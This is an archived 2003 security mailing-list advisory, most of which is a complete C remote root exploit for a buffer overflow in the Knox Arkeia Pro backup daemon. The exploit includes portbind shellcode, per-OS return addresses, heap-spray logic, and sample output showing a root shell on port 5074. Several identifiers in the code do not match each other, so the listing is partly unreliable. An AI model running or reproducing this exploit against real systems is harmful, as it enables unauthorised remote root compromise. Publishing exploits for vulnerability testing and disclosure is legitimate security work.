

[EXPL] Knox Arkeia Pro Remote Root Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-09/0077.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 09/21/03

To: list@securiteam.com

Date: 21 Sep 2003 14:13:47 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Knox Arkeia Pro Remote Root Exploit

SUMMARY

A remotely exploitable buffer overflow has been found in the <<http://www.arkeia.com/>> Knox Arkeia Pro backup program. The following exploit code can be used to test your system for the mentioned vulnerability.

DETAILS

Vulnerable systems:

- * Knox Arkeia Pro version 5.1.12

Exploit:

/*

- * Knox Arkeia arkiead local/remote root exploit.

*

- * Portbind 5074 shellcode

*

* Tested on Redhat 8.0, Redhat 7.2, but all versions are presumed vulnerable.

*

* NULLs out least significant byte of EBP to pull EIP out of overflow buffer.

Securiteam: [EXPL] Knox Arkeia Pro Remote Root Exploit

```
* A previous request forces a large allocation of NOP's + shellcode in
heap
* memory. Find additional targets by searching the heap for NOP's after a
* crash. safeaddr must point to any area of memory that is read/writable
* and won't mess with program/shellcode flow.
*
* ./ark_sink host targetnum
* [user@host dir]$ ./ark_sink 192.168.1.2 1
* [*] Connected to 192.168.1.2:617
* [*] Connected to 192.168.1.2:617
* [*] Sending nops+shellcode
* [*] Done, sleeping
* [*] Sending overflow
* [*] Done
* [*] Sleeping and connecting remote shell
* [*] Connected to 192.168.1.2:5074
* [*] Success, enjoy
* id
* uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
*
*
*/
```

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/nameser.h>

#define BUFLLEN 10000 /* for getshell() */
#define LEN 280 /* overflow packet data section */
#define HEAD_LEN 8 /* overflow packet header */
#define NOP_LEN 10000 /* nop+shellcode packet */
#define ARK_PORT 617
#define SHELL_PORT 5074
#define NOP 0x90
#define NUMTARGS 2

struct {
    char *os;
    unsigned int targret;
    unsigned int targsafe;
} targets[] = {
    { "Redhat 8.0", 0x80ecf90, 0x080eb940 },
    { "Redhat 7.2", 0x80eddc0, 0x080eb940 },
```

```

NULL
};

/* portbind 5074 */
const char shellcode[] =
"\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"
"\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08"
"\x8d\x4d\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14"
"\x66\xc7\x45\x16\x13\xd2\x31\xd2\x89\x55\x18\x8d\x55\x14"
"\x89\x55\x0c\xc6\x45\x10\x10\xb0\x66\xcd\x80\x40\x89\x45\x0c"
"\x43\x43\xb0\x66\xcd\x80\x43\x89\x45\x0c\x89\x45\x10\xb0\x66"
"\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x03"
"\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69"
"\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

unsigned int resolve(char *hostname)
{
    u_long ip = 0;
    struct hostent *hoste;

    if ((int)(ip = inet_addr(hostname)) == -1)
    {
        if ((hoste = gethostbyname(hostname)) == NULL)
        {
            perror("[!] gethostbyname");
            exit(-1);
        }
        memcpy(&ip, hoste->h_addr, hoste->h_length);
    }
    return(ip);
}

int isock(char *hostname, int portnum)
{
    struct sockaddr_in sock_a;
    int num, sock;
    unsigned int ip;
    fd_set input;

    sock_a.sin_family = AF_INET;
    sock_a.sin_port = htons(portnum);
    sock_a.sin_addr.s_addr = resolve(hostname);

    if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
    {
        perror("[!] accept");
        exit(-1);
    }

    if (connect(sock, (struct sockaddr *)&sock_a, sizeof(sock_a)))
    {

```

Securiteam: [EXPL] Knox Arkeia Pro Remote Root Exploit

```
    perror("[!] connect");
    exit(-1);
}

fprintf(stderr, "[*] Connected to %s:%d\n", hostname, portnum);
return(sock);

}

int getshell(int sock)
{
    char buf[BUFLEN];
    int nread=0;

    while(1)
    {
        fd_set input;
        FD_SET(0,&input);
        FD_SET(sock,&input);
        select(sock+1,&input,NULL,NULL,NULL);

        if(FD_ISSET(sock,&input))
        {
            nread=read(sock,buf,BUFLEN);
            write(1,buf,nread);
        }
        if(FD_ISSET(0,&input))
            write(sock,buf,read(0,buf,BUFLEN));
    }
}

int usage(char *programe)
{
    int i;

    fprintf(stderr, "Usage:\n./%s hostname target_num\n");
    for (i = 0; targets[i].os; i++)
        fprintf(stderr, "Target %d: %s\n", i+1, targets[i].os);
    exit(-1);
}

int main( int argc, char **argv)
{
    /* first 2 bytes are a type 74 request */
    /* last two bytes length */
    char head[] = "\x00\x4a\x00\x03\x00\x01\xff\xff";
    char data[512];
    char sc_req[20000];
    char *host;
```

```

unsigned int tnum;
unsigned int safeaddr;
unsigned int ret;
int datalen = LEN;
int port = ARK_PORT;
unsigned int addr = 0;
int sock_overflow, sock_nops, sock_shell;
int i;

if (argc == 3)
{
    host = argv[1];
    tnum = atoi(argv[2]);
    if (tnum > NUMTARGETS || tnum == 0)
    {
        fprintf(stderr, "[!] Invalid target\n");
        usage(argv[0]);
    }
}
else
{
    usage(argv[0]);
}

tnum--;
ret = targets[tnum].target;
safeaddr = targets[tnum].targsafe;

sock_overflow = sock_nops = sock_shell = 0;
sock_nops = isock(host, port);
sock_overflow = isock(host, port);

// build data section of overflow packet
memset(data, 0x90, datalen);
for (i = 0; i < datalen; i += 4)
    memcpy(data+i, (char *)&ret, 4);
// we overwrite a pointer that must be a valid address
memcpy(data+datalen-12, (char *)&safeaddr, 4);

// build header of overflow packet
datalen = ntohs(datalen);
memcpy(head+6, (char *)&datalen, 2);

// build invalid packet with nops+shellcode
memset(sc_req, 0x90, NOP_LEN+1);
memcpy(sc_req+NOP_LEN, shellcode, sizeof(shellcode));

// send invalid nop+shellcode packet
fprintf(stderr, "[*] Sending nops+shellcode\n");
write(sock_nops, sc_req, NOP_LEN+sizeof(shellcode));
fprintf(stderr, "[*] Done, sleeping\n");

```

Securiteam: [EXPL] Knox Arkeia Pro Remote Root Exploit

```
sleep(1);
close(sock_nops);

// send overflow
fprintf(stderr, "[*] Sending overflow\n");
write(sock_overflow, head, HEAD_LEN);
write(sock_overflow, data, LEN);
fprintf(stderr, "[*] Done\n");
fprintf(stderr, "[*] Sleeping and connecting remote shell\n");
sleep (1);
close(sock_overflow);

// connect to shell
sock_shell = isock(host, SHELL_PORT);
fprintf(stderr, "[*] Success, enjoy\n");
getshell(sock_shell);

}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:bugtraq_vuln@yahoo.com> A. C..

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.